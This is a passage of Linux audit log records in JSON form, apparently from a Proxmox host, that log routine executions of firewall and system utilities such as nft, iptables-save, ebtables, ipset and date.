cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PATH msg=audit(1781965367.767:65319): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367767,"@rawstring":"node=pve type=PATH msg=audit(1781965367.767:65318): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PATH msg=audit(1781965367.753:65317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PATH msg=audit(1781965367.753:65317): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PATH msg=audit(1781965367.753:65316): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965367753,"@rawstring":"node=pve type=PATH msg=audit(1781965367.753:65315): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365749,"@rawstring":"node=pve type=PATH msg=audit(1781965365.749:65314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365749,"@rawstring":"node=pve type=PATH msg=audit(1781965365.749:65314): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365741,"@rawstring":"node=pve type=PATH msg=audit(1781965365.741:65313): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365741,"@rawstring":"node=pve type=PATH msg=audit(1781965365.741:65313): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=PATH msg=audit(1781965365.739:65312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=PATH msg=audit(1781965365.739:65312): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=PATH msg=audit(1781965365.739:65311): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365733,"@rawstring":"node=pve type=PATH msg=audit(1781965365.733:65310): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365733,"@rawstring":"node=pve type=PATH msg=audit(1781965365.733:65310): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365733,"@rawstring":"node=pve type=PATH msg=audit(1781965365.733:65310): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365725,"@rawstring":"node=pve type=PATH msg=audit(1781965365.725:65309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365725,"@rawstring":"node=pve type=PATH msg=audit(1781965365.725:65309): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365718,"@rawstring":"node=pve type=PATH msg=audit(1781965365.718:65308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365718,"@rawstring":"node=pve type=PATH msg=audit(1781965365.718:65308): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365711,"@rawstring":"node=pve type=PATH msg=audit(1781965365.711:65307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365711,"@rawstring":"node=pve type=PATH msg=audit(1781965365.711:65307): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365703,"@rawstring":"node=pve type=PATH msg=audit(1781965365.703:65306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365703,"@rawstring":"node=pve type=PATH msg=audit(1781965365.703:65306): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365695,"@rawstring":"node=pve type=PATH msg=audit(1781965365.695:65304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365695,"@rawstring":"node=pve type=PATH msg=audit(1781965365.695:65304): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365691,"@rawstring":"node=pve type=PATH msg=audit(1781965365.691:65303): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365691,"@rawstring":"node=pve type=PATH msg=audit(1781965365.691:65303): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365685,"@rawstring":"node=pve type=PATH msg=audit(1781965365.685:65302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365685,"@rawstring":"node=pve type=PATH msg=audit(1781965365.685:65302): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365679,"@rawstring":"node=pve type=PATH msg=audit(1781965365.679:65301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365679,"@rawstring":"node=pve type=PATH msg=audit(1781965365.679:65301): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365673,"@rawstring":"node=pve type=PATH msg=audit(1781965365.673:65300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365673,"@rawstring":"node=pve type=PATH msg=audit(1781965365.673:65300): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365667,"@rawstring":"node=pve type=PATH msg=audit(1781965365.667:65299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365667,"@rawstring":"node=pve type=PATH msg=audit(1781965365.667:65299): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365659,"@rawstring":"node=pve type=PATH msg=audit(1781965365.659:65298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365659,"@rawstring":"node=pve type=PATH msg=audit(1781965365.659:65298): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365652,"@rawstring":"node=pve type=PATH msg=audit(1781965365.652:65297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365652,"@rawstring":"node=pve type=PATH msg=audit(1781965365.652:65297): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365648,"@rawstring":"node=pve type=PATH msg=audit(1781965365.648:65296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365648,"@rawstring":"node=pve type=PATH msg=audit(1781965365.648:65296): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365637,"@rawstring":"node=pve type=PATH msg=audit(1781965365.637:65295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365637,"@rawstring":"node=pve type=PATH msg=audit(1781965365.637:65295): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365636,"@rawstring":"node=pve type=PATH msg=audit(1781965365.636:65294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365636,"@rawstring":"node=pve type=PATH msg=audit(1781965365.636:65294): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365636,"@rawstring":"node=pve type=PATH msg=audit(1781965365.636:65293): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365631,"@rawstring":"node=pve type=PATH msg=audit(1781965365.631:65292): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365631,"@rawstring":"node=pve type=PATH msg=audit(1781965365.631:65292): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365631,"@rawstring":"node=pve type=PATH msg=audit(1781965365.631:65292): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365621,"@rawstring":"node=pve type=PATH msg=audit(1781965365.621:65291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365621,"@rawstring":"node=pve type=PATH msg=audit(1781965365.621:65291): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365611,"@rawstring":"node=pve type=PATH msg=audit(1781965365.611:65290): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365611,"@rawstring":"node=pve type=PATH msg=audit(1781965365.611:65290): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365605,"@rawstring":"node=pve type=PATH msg=audit(1781965365.605:65289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365605,"@rawstring":"node=pve type=PATH msg=audit(1781965365.605:65289): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365597,"@rawstring":"node=pve type=PATH msg=audit(1781965365.597:65288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365597,"@rawstring":"node=pve type=PATH msg=audit(1781965365.597:65288): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365583,"@rawstring":"node=pve type=PATH msg=audit(1781965365.583:65287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965365583,"@rawstring":"node=pve type=PATH msg=audit(1781965365.583:65287): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364531,"@rawstring":"node=pve type=PATH msg=audit(1781965364.531:65286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364531,"@rawstring":"node=pve type=PATH msg=audit(1781965364.531:65286): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364482,"@rawstring":"node=pve type=PATH msg=audit(1781965364.482:65285): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965364482,"@rawstring":"node=pve type=PATH msg=audit(1781965364.482:65285): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PATH msg=audit(1781965362.745:65284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PATH msg=audit(1781965362.745:65284): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PATH msg=audit(1781965362.745:65283): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362745,"@rawstring":"node=pve type=PATH msg=audit(1781965362.745:65282): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PATH msg=audit(1781965362.737:65281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PATH msg=audit(1781965362.737:65281): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PATH msg=audit(1781965362.737:65280): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965362737,"@rawstring":"node=pve type=PATH msg=audit(1781965362.737:65279): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360394,"@rawstring":"node=pve type=PATH msg=audit(1781965360.394:65278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360394,"@rawstring":"node=pve type=PATH msg=audit(1781965360.394:65278): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360392,"@rawstring":"node=pve type=PATH msg=audit(1781965360.392:65277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360392,"@rawstring":"node=pve type=PATH msg=audit(1781965360.392:65277): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360392,"@rawstring":"node=pve type=PATH msg=audit(1781965360.392:65276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360392,"@rawstring":"node=pve type=PATH msg=audit(1781965360.392:65276): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PATH msg=audit(1781965357.729:65274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PATH msg=audit(1781965357.729:65274): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PATH msg=audit(1781965357.729:65273): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PATH msg=audit(1781965357.729:65272): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PATH msg=audit(1781965357.720:65271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PATH msg=audit(1781965357.720:65271): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PATH msg=audit(1781965357.720:65270): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PATH msg=audit(1781965357.720:65269): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355572,"@rawstring":"node=pve type=PATH msg=audit(1781965355.572:65268): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355572,"@rawstring":"node=pve type=PATH msg=audit(1781965355.572:65268): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355567,"@rawstring":"node=pve type=PATH msg=audit(1781965355.567:65267): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355567,"@rawstring":"node=pve type=PATH msg=audit(1781965355.567:65267): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355566,"@rawstring":"node=pve type=PATH msg=audit(1781965355.566:65266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355566,"@rawstring":"node=pve type=PATH msg=audit(1781965355.566:65266): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355566,"@rawstring":"node=pve type=PATH msg=audit(1781965355.566:65265): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355561,"@rawstring":"node=pve type=PATH msg=audit(1781965355.561:65264): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355561,"@rawstring":"node=pve type=PATH msg=audit(1781965355.561:65264): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355561,"@rawstring":"node=pve type=PATH msg=audit(1781965355.561:65264): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 